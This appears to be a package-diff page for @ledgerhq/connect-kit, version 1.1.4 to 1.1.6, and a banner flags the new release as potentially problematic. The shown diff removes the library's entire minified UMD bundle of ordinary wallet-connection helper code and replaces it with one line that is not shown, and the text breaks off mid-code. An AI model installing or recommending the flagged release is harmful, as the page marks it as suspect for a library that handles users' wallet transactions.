@ledgerhq/connect-kit 1.1.4 → 1.1.6

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @ledgerhq/connect-kit might be problematic. Click here for more details.

package/dist/umd/index.js CHANGED
@@ -1,1102 +1 @@
1
- !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(exports):"function"==typeof define&&define.amd?define(["exports"],t):t((e="undefined"!=typeof globalThis?globalThis:e||self).ledgerConnectKit={})}(this,(function(e){"use strict";function t(e,t){return t.forEach((function(t){t&&"string"!=typeof t&&!Array.isArray(t)&&Object.keys(t).forEach((function(n){if("default"!==n&&!(n in e)){var r=Object.getOwnPropertyDescriptor(t,n);Object.defineProperty(e,n,r.get?r:{enumerable:!0,get:function(){return t[n]}})}}))})),Object.freeze(e)}let n=!1;const r=e=>(t,...r)=>{n&&console.debug(`[${e}] ${t}`,...r)},i=e=>(t,...n)=>{console.error(`[${e}] ${t}`,...n)};class o extends Error{constructor(){super(),this.name=this.constructor.name,this.message="The Ledger Extension was not found."}}class s extends Error{constructor(){super(),this.name=this.constructor.name,this.message="The specified provider is not supported."}}class a extends Error{constructor(){super(),this.name=this.constructor.name,this.code=4001,this.message="User rejected request"}}class u extends Error{constructor(){super(),this.message="Connect Kit does not support server side."}}function c(e,t,n,r){return new(n||(n=Promise))((function(i,o){function s(e){try{u(r.next(e))}catch(e){o(e)}}function a(e){try{u(r.throw(e))}catch(e){o(e)}}function u(e){var t;e.done?i(e.value):(t=e.value,t instanceof n?t:new n((function(e){e(t)}))).then(s,a)}u((r=r.apply(e,t||[])).next())}))}"function"==typeof SuppressedError&&SuppressedError;var l="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{};function f(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}function h(e){var t=e.default;if("function"==typeof t){var n=function(){return t.apply(this,arguments)};n.prototype=t.prototype}else n={};return Object.defineProperty(n,"__esModule",{value:!0}),Object.keys(e).forEach((function(t){var r=Object.getOwnPropertyDescriptor(e,t);Object.defineProperty(n,t,r.get?r:{enumerable:!0,get:function(){return e[t]}})})),n}var d={exports:{}};!function(e,t){e.exports=function(e){var t={};function n(r){if(t[r])return t[r].exports;var i=t[r]={i:r,l:!1,exports:{}};return e[r].call(i.exports,i,i.exports,n),i.l=!0,i.exports}return n.m=e,n.c=t,n.d=function(e,t,r){n.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:r})},n.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(e,t){if(1&t&&(e=n(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var r=Object.create(null);if(n.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var i in e)n.d(r,i,function(t){return e[t]}.bind(null,i));return r},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},n.p="",n(n.s=63)}([function(e,t,n){(function(e){n.d(t,"f",(function(){return a})),n.d(t,"g",(function(){return u})),n.d(t,"i",(function(){return c})),n.d(t,"h",(function(){return l})),n.d(t,"b",(function(){return f})),n.d(t,"c",(function(){return h})),n.d(t,"e",(function(){return d})),n.d(t,"d",(function(){return p})),n.d(t,"o",(function(){return g})),n.d(t,"n",(function(){return y})),n.d(t,"q",(function(){return v})),n.d(t,"p",(function(){return m})),n.d(t,"D",(function(){return _})),n.d(t,"C",(function(){return b})),n.d(t,"E",(function(){return w})),n.d(t,"F",(function(){return E})),n.d(t,"w",(function(){return S})),n.d(t,"v",(function(){return O})),n.d(t,"x",(function(){return x})),n.d(t,"y",(function(){return I})),n.d(t,"t",(function(){return P})),n.d(t,"s",(function(){return A})),n.d(t,"u",(function(){return N})),n.d(t,"r",(function(){return T})),n.d(t,"m",(function(){return M})),n.d(t,"l",(function(){return L})),n.d(t,"k",(function(){return j})),n.d(t,"j",(function(){return U})),n.d(t,"A",(function(){return F})),n.d(t,"a",(function(){return B})),n.d(t,"B",(function(){return H})),n.d(t,"z",(function(){return q}));var r=n(22),i=n.n(r),o=n(58),s=n.n(o);function a(e){return new Uint8Array(e)}function u(e,t=!1){const n=e.toString("hex");return t?B(n):n}function c(e){return e.toString("utf8")}function l(e){return e.readUIntBE(0,e.length)}function f(e){return s()(e)}function h(e,t=!1){return u(f(e),t)}function d(e){return c(f(e))}function p(e){return l(f(e))}function g(t){return e.from(F(t),"hex")}function y(e){return a(g(e))}function v(e){return c(g(e))}function m(e){return p(y(e))}function _(t){return e.from(t,"utf8")}function b(e){return a(_(e))}function w(e,t=!1){return u(_(e),t)}function E(e){const t=parseInt(e,10);return function(e,t){if(!e)throw new Error("Number can only safely store up to 53 bits")}(!function(e){return void 0===e}(t)),t}function S(e){return f(k(R(e)))}function O(e){return k(R(e))}function x(e,t){return C(R(e),t)}function I(e){return""+e}function R(e){return z((e>>>0).toString(2))}function k(e){return new Uint8Array(D(e).map((e=>parseInt(e,2))))}function C(e,t){return h(k(e),t)}function P(e,t){return!("string"!=typeof e||!e.match(/^0x[0-9A-Fa-f]*$/)||t&&e.length!==2+2*t)}function A(t){return e.isBuffer(t)}function N(e){return i.a.strict(e)&&!A(e)}function T(e){return!N(e)&&!A(e)&&void 0!==e.byteLength}function M(e){return A(e)?"buffer":N(e)?"typed-array":T(e)?"array-buffer":Array.isArray(e)?"array":typeof e}function L(e){return function(e){return!("string"!=typeof e||!new RegExp(/^[01]+$/).test(e))&&e.length%8==0}(e)?"binary":P(e)?"hex":"utf8"}function j(...t){return e.concat(t)}function U(...e){let t=[];return e.forEach((e=>t=t.concat(Array.from(e)))),new Uint8Array([...t])}function D(e,t=8){const n=z(e).match(new RegExp(`.{${t}}`,"gi"));return Array.from(n||[])}function z(e,t=8,n="0"){return function(e,t,n="0"){return V(e,t,!0,n)}(e,function(e,t=8){const n=e%t;return n?(e-n)/t*t+t:e}(e.length,t),n)}function F(e){return e.replace(/^0x/,"")}function B(e){return e.startsWith("0x")?e:"0x"+e}function H(e){return(e=z(e=F(e),2))&&(e=B(e)),e}function q(e){const t=e.startsWith("0x");return e=(e=F(e)).startsWith("0")?e.substring(1):e,t?B(e):e}function V(e,t,n,r="0"){const i=t-e.length;let o=e;if(i>0){const t=r.repeat(i);o=n?t+e:e+t}return o}}).call(this,n(44).Buffer)},function(e,t,n){n.r(t),n.d(t,"convertArrayBufferToBuffer",(function(){return i})),n.d(t,"convertArrayBufferToUtf8",(function(){return o})),n.d(t,"convertArrayBufferToHex",(function(){return s})),n.d(t,"convertArrayBufferToNumber",(function(){return a})),n.d(t,"concatArrayBuffers",(function(){return u})),n.d(t,"convertBufferToArrayBuffer",(function(){return c})),n.d(t,"convertBufferToUtf8",(function(){return l})),n.d(t,"convertBufferToHex",(function(){return f})),n.d(t,"convertBufferToNumber",(function(){return h})),n.d(t,"concatBuffers",(function(){return d})),n.d(t,"convertUtf8ToArrayBuffer",(function(){return p})),n.d(t,"convertUtf8ToBuffer",(function(){return g})),n.d(t,"convertUtf8ToHex",(function(){return y})),n.d(t,"convertUtf8ToNumber",(function(){return v})),n.d(t,"convertHexToBuffer",(function(){return m})),n.d(t,"convertHexToArrayBuffer",(function(){return _})),n.d(t,"convertHexToUtf8",(function(){return b})),n.d(t,"convertHexToNumber",(function(){return w})),n.d(t,"convertNumberToBuffer",(function(){return E})),n.d(t,"convertNumberToArrayBuffer",(function(){return S})),n.d(t,"convertNumberToUtf8",(function(){return O})),n.d(t,"convertNumberToHex",(function(){return x})),n.d(t,"detectEnv",(function(){return F})),n.d(t,"detectOS",(function(){return B})),n.d(t,"isAndroid",(function(){return H})),n.d(t,"isIOS",(function(){return q})),n.d(t,"isMobile",(function(){return V})),n.d(t,"isNode",(function(){return $})),n.d(t,"isBrowser",(function(){return W})),n.d(t,"safeJsonParse",(function(){return G})),n.d(t,"safeJsonStringify",(function(){return Y})),n.d(t,"setLocal",(function(){return Q})),n.d(t,"getLocal",(function(){return J})),n.d(t,"removeLocal",(function(){return X})),n.d(t,"getClientMeta",(function(){return ee})),n.d(t,"sanitizeHex",(function(){return re})),n.d(t,"addHexPrefix",(function(){return ie})),n.d(t,"removeHexPrefix",(function(){return oe})),n.d(t,"removeHexLeadingZeros",(function(){return se})),n.d(t,"payloadId",(function(){return ae})),n.d(t,"uuid",(function(){return ue})),n.d(t,"logDeprecationWarning",(function(){return ce})),n.d(t,"getInfuraRpcUrl",(function(){return le})),n.d(t,"getRpcUrl",(function(){return fe})),n.d(t,"formatIOSMobile",(function(){return he})),n.d(t,"saveMobileLinkInfo",(function(){return de})),n.d(t,"getMobileRegistryEntry",(function(){return pe})),n.d(t,"getMobileLinkRegistry",(function(){return ge})),n.d(t,"promisify",(function(){return ye})),n.d(t,"formatRpcError",(function(){return ve})),n.d(t,"getWalletRegistryUrl",(function(){return _e})),n.d(t,"getDappRegistryUrl",(function(){return be})),n.d(t,"formatMobileRegistryEntry",(function(){return we})),n.d(t,"formatMobileRegistry",(function(){return Ee})),n.d(t,"isWalletConnectSession",(function(){return ke})),n.d(t,"parseWalletConnectUri",(function(){return Ce})),n.d(t,"getQueryString",(function(){return Oe})),n.d(t,"appendToQueryString",(function(){return xe})),n.d(t,"parseQueryString",(function(){return Ie})),n.d(t,"formatQueryString",(function(){return Re})),n.d(t,"isEmptyString",(function(){return Pe})),n.d(t,"isEmptyArray",(function(){return Ae})),n.d(t,"isBuffer",(function(){return Ne})),n.d(t,"isTypedArray",(function(){return Te})),n.d(t,"isArrayBuffer",(function(){return Me})),n.d(t,"getType",(function(){return Le})),n.d(t,"getEncoding",(function(){return je})),n.d(t,"isHexString",(function(){return Ue})),n.d(t,"isJsonRpcSubscription",(function(){return De})),n.d(t,"isJsonRpcRequest",(function(){return ze})),n.d(t,"isJsonRpcResponseSuccess",(function(){return Fe})),n.d(t,"isJsonRpcResponseError",(function(){return Be})),n.d(t,"isInternalEvent",(function(){return He})),n.d(t,"isReservedEvent",(function(){return qe})),n.d(t,"isSilentPayload",(function(){return Ve})),n.d(t,"getFromWindow",(function(){return k})),n.d(t,"getFromWindowOrThrow",(function(){return C})),n.d(t,"getDocumentOrThrow",(function(){return P})),n.d(t,"getDocument",(function(){return A})),n.d(t,"getNavigatorOrThrow",(function(){return N})),n.d(t,"getNavigator",(function(){return T})),n.d(t,"getLocationOrThrow",(function(){return M})),n.d(t,"getLocation",(function(){return L})),n.d(t,"getCryptoOrThrow",(function(){return j})),n.d(t,"getCrypto",(function(){return U})),n.d(t,"getLocalStorageOrThrow",(function(){return D})),n.d(t,"getLocalStorage",(function(){return z}));var r=n(0);function i(e){return r.b(new Uint8Array(e))}function o(e){return r.e(new Uint8Array(e))}function s(e,t){return r.c(new Uint8Array(e),!t)}function a(e){return r.d(new Uint8Array(e))}function u(...e){return r.n(e.map((e=>r.c(new Uint8Array(e)))).join("")).buffer}function c(e){return r.f(e).buffer}function l(e){return r.i(e)}function f(e,t){return r.g(e,!t)}function h(e){return r.h(e)}function d(...e){return r.k(...e)}function p(e){return r.C(e).buffer}function g(e){return r.D(e)}function y(e,t){return r.E(e,!t)}function v(e){return r.F(e)}function m(e){return r.o(e)}function _(e){return r.n(e).buffer}function b(e){return r.q(e)}function w(e){return r.p(e)}function E(e){return r.w(e)}function S(e){return r.v(e).buffer}function O(e){return r.y(e)}function x(e,t){return r.x(Number(e),!t)}var I=n(59),R=n(6);const k=R.getFromWindow,C=R.getFromWindowOrThrow,P=R.getDocumentOrThrow,A=R.getDocument,N=R.getNavigatorOrThrow,T=R.getNavigator,M=R.getLocationOrThrow,L=R.getLocation,j=R.getCryptoOrThrow,U=R.getCrypto,D=R.getLocalStorageOrThrow,z=R.getLocalStorage;function F(e){return Object(I.a)(e)}function B(){const e=F();return e&&e.os?e.os:void 0}function H(){const e=B();return!!e&&e.toLowerCase().includes("android")}function q(){const e=B();return!!e&&(e.toLowerCase().includes("ios")||e.toLowerCase().includes("mac")&&navigator.maxTouchPoints>1)}function V(){return!!B()&&(H()||q())}function $(){const e=F();return!(!e||!e.name)&&"node"===e.name.toLowerCase()}function W(){return!$()&&!!T()}var K=n(12);const G=K.a,Y=K.b;function Q(e,t){const n=Y(t),r=z();r&&r.setItem(e,n)}function J(e){let t=null,n=null;const r=z();return r&&(n=r.getItem(e)),t=n?G(n):n,t}function X(e){const t=z();t&&t.removeItem(e)}var Z=n(60);function ee(){return Z.getWindowMetadata()}var te=n(7),ne=n(2);function re(e){return r.B(e)}function ie(e){return r.a(e)}function oe(e){return r.A(e)}function se(e){return r.z(r.a(e))}const ae=te.payloadId;function ue(){return((e,t)=>{for(t=e="";e++<36;t+=51*e&52?(15^e?8^Math.random()*(20^e?16:4):4).toString(16):"-");return t})()}function ce(){console.warn("DEPRECATION WARNING: This WalletConnect client library will be deprecated in favor of @walletconnect/client. Please check docs.walletconnect.org to learn more about this migration!")}function le(e,t){let n;const r=ne.INFURA_NETWORKS[e];return r&&(n=`https://${r}.infura.io/v3/${t}`),n}function fe(e,t){let n;const r=le(e,t.infuraId);return t.custom&&t.custom[e]?n=t.custom[e]:r&&(n=r),n}function he(e,t){const n=encodeURIComponent(e);return t.universalLink?`${t.universalLink}/wc?uri=${n}`:t.deepLink?`${t.deepLink}${t.deepLink.endsWith(":")?"//":"/"}wc?uri=${n}`:""}function de(e){const t=e.href.split("?")[0];Q(ne.MOBILE_LINK_CHOICE_KEY,Object.assign(Object.assign({},e),{href:t}))}function pe(e,t){return e.filter((e=>e.name.toLowerCase().includes(t.toLowerCase())))[0]}function ge(e,t){let n=e;return t&&(n=t.map((t=>pe(e,t))).filter(Boolean)),n}function ye(e,t){return async(...n)=>new Promise(((r,i)=>{e.apply(t,[...n,(e,t)=>{null==e&&i(e),r(t)}])}))}function ve(e){const t=e.message||"Failed or Rejected Request";let n=-32e3;if(e&&!e.code)switch(t){case"Parse error":n=-32700;break;case"Invalid request":n=-32600;break;case"Method not found":n=-32601;break;case"Invalid params":n=-32602;break;case"Internal error":n=-32603;break;default:n=-32e3}const r={code:n,message:t};return e.data&&(r.data=e.data),r}const me="https://registry.walletconnect.com";function _e(){return me+"/api/v2/wallets"}function be(){return me+"/api/v2/dapps"}function we(e,t="mobile"){var n;return{name:e.name||"",shortName:e.metadata.shortName||"",color:e.metadata.colors.primary||"",logo:null!==(n=e.image_url.sm)&&void 0!==n?n:"",universalLink:e[t].universal||"",deepLink:e[t].native||""}}function Ee(e,t="mobile"){return Object.values(e).filter((e=>!!e[t].universal||!!e[t].native)).map((e=>we(e,t)))}var Se=n(24);function Oe(e){const t=-1!==e.indexOf("?")?e.indexOf("?"):void 0;return void 0!==t?e.substr(t):""}function xe(e,t){let n=Ie(e);return n=Object.assign(Object.assign({},n),t),Re(n)}function Ie(e){return Se.parse(e)}function Re(e){return Se.stringify(e)}function ke(e){return void 0!==e.bridge}function Ce(e){const t=e.indexOf(":"),n=-1!==e.indexOf("?")?e.indexOf("?"):void 0,r=e.substring(0,t),i=function(e){const t=e.split("@");return{handshakeTopic:t[0],version:parseInt(t[1],10)}}(e.substring(t+1,n)),o=function(e){const t=Ie(e);return{key:t.key||"",bridge:t.bridge||""}}(void 0!==n?e.substr(n):"");return Object.assign(Object.assign({protocol:r},i),o)}function Pe(e){return""===e||"string"==typeof e&&""===e.trim()}function Ae(e){return!(e&&e.length)}function Ne(e){return r.s(e)}function Te(e){return r.u(e)}function Me(e){return r.r(e)}function Le(e){return r.m(e)}function je(e){return r.l(e)}function Ue(e,t){return r.t(e,t)}function De(e){return"object"==typeof e.params}function ze(e){return void 0!==e.method}function Fe(e){return void 0!==e.result}function Be(e){return void 0!==e.error}function He(e){return void 0!==e.event}function qe(e){return ne.RESERVED_EVENTS.includes(e)||e.startsWith("wc_")}function Ve(e){return!!e.method.startsWith("wc_")||!ne.SIGNING_METHODS.includes(e.method)}},function(e,t,n){n.r(t);var r=n(34);for(var i in r)["default"].indexOf(i)<0&&function(e){n.d(t,e,(function(){return r[e]}))}(i);var o=n(57);n.d(t,"ERROR_SESSION_CONNECTED",(function(){return o.k})),n.d(t,"ERROR_SESSION_DISCONNECTED",(function(){return o.l})),n.d(t,"ERROR_SESSION_REJECTED",(function(){return o.m})),n.d(t,"ERROR_MISSING_JSON_RPC",(function(){return o.e})),n.d(t,"ERROR_MISSING_RESULT",(function(){return o.h})),n.d(t,"ERROR_MISSING_ERROR",(function(){return o.c})),n.d(t,"ERROR_MISSING_METHOD",(function(){return o.f})),n.d(t,"ERROR_MISSING_ID",(function(){return o.d})),n.d(t,"ERROR_MISSING_REQUIRED",(function(){return o.g})),n.d(t,"ERROR_INVALID_RESPONSE",(function(){return o.a})),n.d(t,"ERROR_INVALID_URI",(function(){return o.b})),n.d(t,"ERROR_QRCODE_MODAL_NOT_PROVIDED",(function(){return o.i})),n.d(t,"ERROR_QRCODE_MODAL_USER_CLOSED",(function(){return o.j})),n.d(t,"RESERVED_EVENTS",(function(){return o.p})),n.d(t,"reservedEvents",(function(){return o.v})),n.d(t,"WALLET_METHODS",(function(){return o.s})),n.d(t,"SIGNING_METHODS",(function(){return o.q})),n.d(t,"STATE_METHODS",(function(){return o.r})),n.d(t,"signingMethods",(function(){return o.w})),n.d(t,"stateMethods",(function(){return o.x})),n.d(t,"MOBILE_LINK_CHOICE_KEY",(function(){return o.o})),n.d(t,"mobileLinkChoiceKey",(function(){return o.u})),n.d(t,"INFURA_NETWORKS",(function(){return o.n})),n.d(t,"infuraNetworks",(function(){return o.t}));var s=n(35);for(var i in s)["default","ERROR_SESSION_CONNECTED","ERROR_SESSION_DISCONNECTED","ERROR_SESSION_REJECTED","ERROR_MISSING_JSON_RPC","ERROR_MISSING_RESULT","ERROR_MISSING_ERROR","ERROR_MISSING_METHOD","ERROR_MISSING_ID","ERROR_MISSING_REQUIRED","ERROR_INVALID_RESPONSE","ERROR_INVALID_URI","ERROR_QRCODE_MODAL_NOT_PROVIDED","ERROR_QRCODE_MODAL_USER_CLOSED","RESERVED_EVENTS","reservedEvents","WALLET_METHODS","SIGNING_METHODS","STATE_METHODS","signingMethods","stateMethods","MOBILE_LINK_CHOICE_KEY","mobileLinkChoiceKey","INFURA_NETWORKS","infuraNetworks"].indexOf(i)<0&&function(e){n.d(t,e,(function(){return s[e]}))}(i);var a=n(36);n.d(t,"IEvents",(function(){return a.a}));var u=n(37);for(var i in u)["default","ERROR_SESSION_CONNECTED","ERROR_SESSION_DISCONNECTED","ERROR_SESSION_REJECTED","ERROR_MISSING_JSON_RPC","ERROR_MISSING_RESULT","ERROR_MISSING_ERROR","ERROR_MISSING_METHOD","ERROR_MISSING_ID","ERROR_MISSING_REQUIRED","ERROR_INVALID_RESPONSE","ERROR_INVALID_URI","ERROR_QRCODE_MODAL_NOT_PROVIDED","ERROR_QRCODE_MODAL_USER_CLOSED","RESERVED_EVENTS","reservedEvents","WALLET_METHODS","SIGNING_METHODS","STATE_METHODS","signingMethods","stateMethods","MOBILE_LINK_CHOICE_KEY","mobileLinkChoiceKey","INFURA_NETWORKS","infuraNetworks","IEvents"].indexOf(i)<0&&function(e){n.d(t,e,(function(){return u[e]}))}(i);var c=n(38);for(var i in c)["default","ERROR_SESSION_CONNECTED","ERROR_SESSION_DISCONNECTED","ERROR_SESSION_REJECTED","ERROR_MISSING_JSON_RPC","ERROR_MISSING_RESULT","ERROR_MISSING_ERROR","ERROR_MISSING_METHOD","ERROR_MISSING_ID","ERROR_MISSING_REQUIRED","ERROR_INVALID_RESPONSE","ERROR_INVALID_URI","ERROR_QRCODE_MODAL_NOT_PROVIDED","ERROR_QRCODE_MODAL_USER_CLOSED","RESERVED_EVENTS","reservedEvents","WALLET_METHODS","SIGNING_METHODS","STATE_METHODS","signingMethods","stateMethods","MOBILE_LINK_CHOICE_KEY","mobileLinkChoiceKey","INFURA_NETWORKS","infuraNetworks","IEvents"].indexOf(i)<0&&function(e){n.d(t,e,(function(){return c[e]}))}(i);var l=n(39);for(var i in l)["default","ERROR_SESSION_CONNECTED","ERROR_SESSION_DISCONNECTED","ERROR_SESSION_REJECTED","ERROR_MISSING_JSON_RPC","ERROR_MISSING_RESULT","ERROR_MISSING_ERROR","ERROR_MISSING_METHOD","ERROR_MISSING_ID","ERROR_MISSING_REQUIRED","ERROR_INVALID_RESPONSE","ERROR_INVALID_URI","ERROR_QRCODE_MODAL_NOT_PROVIDED","ERROR_QRCODE_MODAL_USER_CLOSED","RESERVED_EVENTS","reservedEvents","WALLET_METHODS","SIGNING_METHODS","STATE_METHODS","signingMethods","stateMethods","MOBILE_LINK_CHOICE_KEY","mobileLinkChoiceKey","INFURA_NETWORKS","infuraNetworks","IEvents"].indexOf(i)<0&&function(e){n.d(t,e,(function(){return l[e]}))}(i);var f=n(40);for(var i in f)["default","ERROR_SESSION_CONNECTED","ERROR_SESSION_DISCONNECTED","ERROR_SESSION_REJECTED","ERROR_MISSING_JSON_RPC","ERROR_MISSING_RESULT","ERROR_MISSING_ERROR","ERROR_MISSING_METHOD","ERROR_MISSING_ID","ERROR_MISSING_REQUIRED","ERROR_INVALID_RESPONSE","ERROR_INVALID_URI","ERROR_QRCODE_MODAL_NOT_PROVIDED","ERROR_QRCODE_MODAL_USER_CLOSED","RESERVED_EVENTS","reservedEvents","WALLET_METHODS","SIGNING_METHODS","STATE_METHODS","signingMethods","stateMethods","MOBILE_LINK_CHOICE_KEY","mobileLinkChoiceKey","INFURA_NETWORKS","infuraNetworks","IEvents"].indexOf(i)<0&&function(e){n.d(t,e,(function(){return f[e]}))}(i);var h=n(41);for(var i in h)["default","ERROR_SESSION_CONNECTED","ERROR_SESSION_DISCONNECTED","ERROR_SESSION_REJECTED","ERROR_MISSING_JSON_RPC","ERROR_MISSING_RESULT","ERROR_MISSING_ERROR","ERROR_MISSING_METHOD","ERROR_MISSING_ID","ERROR_MISSING_REQUIRED","ERROR_INVALID_RESPONSE","ERROR_INVALID_URI","ERROR_QRCODE_MODAL_NOT_PROVIDED","ERROR_QRCODE_MODAL_USER_CLOSED","RESERVED_EVENTS","reservedEvents","WALLET_METHODS","SIGNING_METHODS","STATE_METHODS","signingMethods","stateMethods","MOBILE_LINK_CHOICE_KEY","mobileLinkChoiceKey","INFURA_NETWORKS","infuraNetworks","IEvents"].indexOf(i)<0&&function(e){n.d(t,e,(function(){return h[e]}))}(i);var d=n(42);for(var i in d)["default","ERROR_SESSION_CONNECTED","ERROR_SESSION_DISCONNECTED","ERROR_SESSION_REJECTED","ERROR_MISSING_JSON_RPC","ERROR_MISSING_RESULT","ERROR_MISSING_ERROR","ERROR_MISSING_METHOD","ERROR_MISSING_ID","ERROR_MISSING_REQUIRED","ERROR_INVALID_RESPONSE","ERROR_INVALID_URI","ERROR_QRCODE_MODAL_NOT_PROVIDED","ERROR_QRCODE_MODAL_USER_CLOSED","RESERVED_EVENTS","reservedEvents","WALLET_METHODS","SIGNING_METHODS","STATE_METHODS","signingMethods","stateMethods","MOBILE_LINK_CHOICE_KEY","mobileLinkChoiceKey","INFURA_NETWORKS","infuraNetworks","IEvents"].indexOf(i)<0&&function(e){n.d(t,e,(function(){return d[e]}))}(i);var p=n(43);for(var i in p)["default","ERROR_SESSION_CONNECTED","ERROR_SESSION_DISCONNECTED","ERROR_SESSION_REJECTED","ERROR_MISSING_JSON_RPC","ERROR_MISSING_RESULT","ERROR_MISSING_ERROR","ERROR_MISSING_METHOD","ERROR_MISSING_ID","ERROR_MISSING_REQUIRED","ERROR_INVALID_RESPONSE","ERROR_INVALID_URI","ERROR_QRCODE_MODAL_NOT_PROVIDED","ERROR_QRCODE_MODAL_USER_CLOSED","RESERVED_EVENTS","reservedEvents","WALLET_METHODS","SIGNING_METHODS","STATE_METHODS","signingMethods","stateMethods","MOBILE_LINK_CHOICE_KEY","mobileLinkChoiceKey","INFURA_NETWORKS","infuraNetworks","IEvents"].indexOf(i)<0&&function(e){n.d(t,e,(function(){return p[e]}))}(i)},function(e,t,n){n.d(t,"b",(function(){return i})),n.d(t,"g",(function(){return o})),n.d(t,"a",(function(){return s})),n.d(t,"f",(function(){return a})),n.d(t,"e",(function(){return u})),n.d(t,"i",(function(){return c})),n.d(t,"j",(function(){return l})),n.d(t,"h",(function(){return r})),n.d(t,"d",(function(){return f})),n.d(t,"c",(function(){return h})),n.d(t,"k",(function(){return d})),n.d(t,"l",(function(){return p}));const r=512,i=256,o=256,s="AES-CBC",a="SHA-"+i,u="HMAC",c="SHA-256",l="SHA-512",f="encrypt",h="decrypt",d="sign",p="verify"},function(e,t,n){n.d(t,"f",(function(){return r})),n.d(t,"d",(function(){return i})),n.d(t,"e",(function(){return o})),n.d(t,"c",(function(){return s})),n.d(t,"b",(function(){return a})),n.d(t,"h",(function(){return u})),n.d(t,"g",(function(){return c})),n.d(t,"i",(function(){return l})),n.d(t,"j",(function(){return f})),n.d(t,"a",(function(){return h}));const r="PARSE_ERROR",i="INVALID_REQUEST",o="METHOD_NOT_FOUND",s="INVALID_PARAMS",a="INTERNAL_ERROR",u="SERVER_ERROR",c=[-32700,-32600,-32601,-32602,-32603],l=[-32e3,-32099],f={[r]:{code:-32700,message:"Parse error"},[i]:{code:-32600,message:"Invalid Request"},[o]:{code:-32601,message:"Method not found"},[s]:{code:-32602,message:"Invalid params"},[a]:{code:-32603,message:"Internal error"},[u]:{code:-32e3,message:"Server error"}},h=u},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});const r=n(17);r.__exportStar(n(64),t),r.__exportStar(n(65),t)},function(e,t,n){function r(e){let t;return"undefined"!=typeof window&&void 0!==window[e]&&(t=window[e]),t}function i(e){const t=r(e);if(!t)throw new Error(e+" is not defined in Window");return t}Object.defineProperty(t,"__esModule",{value:!0}),t.getLocalStorage=t.getLocalStorageOrThrow=t.getCrypto=t.getCryptoOrThrow=t.getLocation=t.getLocationOrThrow=t.getNavigator=t.getNavigatorOrThrow=t.getDocument=t.getDocumentOrThrow=t.getFromWindowOrThrow=t.getFromWindow=void 0,t.getFromWindow=r,t.getFromWindowOrThrow=i,t.getDocumentOrThrow=function(){return i("document")},t.getDocument=function(){return r("document")},t.getNavigatorOrThrow=function(){return i("navigator")},t.getNavigator=function(){return r("navigator")},t.getLocationOrThrow=function(){return i("location")},t.getLocation=function(){return r("location")},t.getCryptoOrThrow=function(){return i("crypto")},t.getCrypto=function(){return r("crypto")},t.getLocalStorageOrThrow=function(){return i("localStorage")},t.getLocalStorage=function(){return r("localStorage")}},function(e,t,n){n.r(t);var r=n(4);n.d(t,"PARSE_ERROR",(function(){return r.f})),n.d(t,"INVALID_REQUEST",(function(){return r.d})),n.d(t,"METHOD_NOT_FOUND",(function(){return r.e})),n.d(t,"INVALID_PARAMS",(function(){return r.c})),n.d(t,"INTERNAL_ERROR",(function(){return r.b})),n.d(t,"SERVER_ERROR",(function(){return r.h})),n.d(t,"RESERVED_ERROR_CODES",(function(){return r.g})),n.d(t,"SERVER_ERROR_CODE_RANGE",(function(){return r.i})),n.d(t,"STANDARD_ERROR_MAP",(function(){return r.j})),n.d(t,"DEFAULT_ERROR",(function(){return r.a}));var i=n(11);n.d(t,"isServerErrorCode",(function(){return i.d})),n.d(t,"isReservedErrorCode",(function(){return i.c})),n.d(t,"isValidErrorCode",(function(){return i.e})),n.d(t,"getError",(function(){return i.a})),n.d(t,"getErrorByCode",(function(){return i.b})),n.d(t,"validateJsonRpcError",(function(){return i.g})),n.d(t,"parseConnectionError",(function(){return i.f}));var o=n(25);for(var s in o)["default","PARSE_ERROR","INVALID_REQUEST","METHOD_NOT_FOUND","INVALID_PARAMS","INTERNAL_ERROR","SERVER_ERROR","RESERVED_ERROR_CODES","SERVER_ERROR_CODE_RANGE","STANDARD_ERROR_MAP","DEFAULT_ERROR","isServerErrorCode","isReservedErrorCode","isValidErrorCode","getError","getErrorByCode","validateJsonRpcError","parseConnectionError"].indexOf(s)<0&&function(e){n.d(t,e,(function(){return o[e]}))}(s);var a=n(26);n.d(t,"payloadId",(function(){return a.e})),n.d(t,"formatJsonRpcRequest",(function(){return a.c})),n.d(t,"formatJsonRpcResult",(function(){return a.d})),n.d(t,"formatJsonRpcError",(function(){return a.b})),n.d(t,"formatErrorMessage",(function(){return a.a}));var u=n(27);n.d(t,"isValidRoute",(function(){return u.c})),n.d(t,"isValidDefaultRoute",(function(){return u.a})),n.d(t,"isValidWildcardRoute",(function(){return u.e})),n.d(t,"isValidLeadingWildcardRoute",(function(){return u.b})),n.d(t,"isValidTrailingWildcardRoute",(function(){return u.d}));var c=n(28);for(var s in c)["default","PARSE_ERROR","INVALID_REQUEST","METHOD_NOT_FOUND","INVALID_PARAMS","INTERNAL_ERROR","SERVER_ERROR","RESERVED_ERROR_CODES","SERVER_ERROR_CODE_RANGE","STANDARD_ERROR_MAP","DEFAULT_ERROR","isServerErrorCode","isReservedErrorCode","isValidErrorCode","getError","getErrorByCode","validateJsonRpcError","parseConnectionError","payloadId","formatJsonRpcRequest","formatJsonRpcResult","formatJsonRpcError","formatErrorMessage","isValidRoute","isValidDefaultRoute","isValidWildcardRoute","isValidLeadingWildcardRoute","isValidTrailingWildcardRoute"].indexOf(s)<0&&function(e){n.d(t,e,(function(){return c[e]}))}(s);var l=n(32);n.d(t,"isHttpUrl",(function(){return l.a})),n.d(t,"isWsUrl",(function(){return l.c})),n.d(t,"isLocalhostUrl",(function(){return l.b}));var f=n(33);n.d(t,"isJsonRpcPayload",(function(){return f.b})),n.d(t,"isJsonRpcRequest",(function(){return 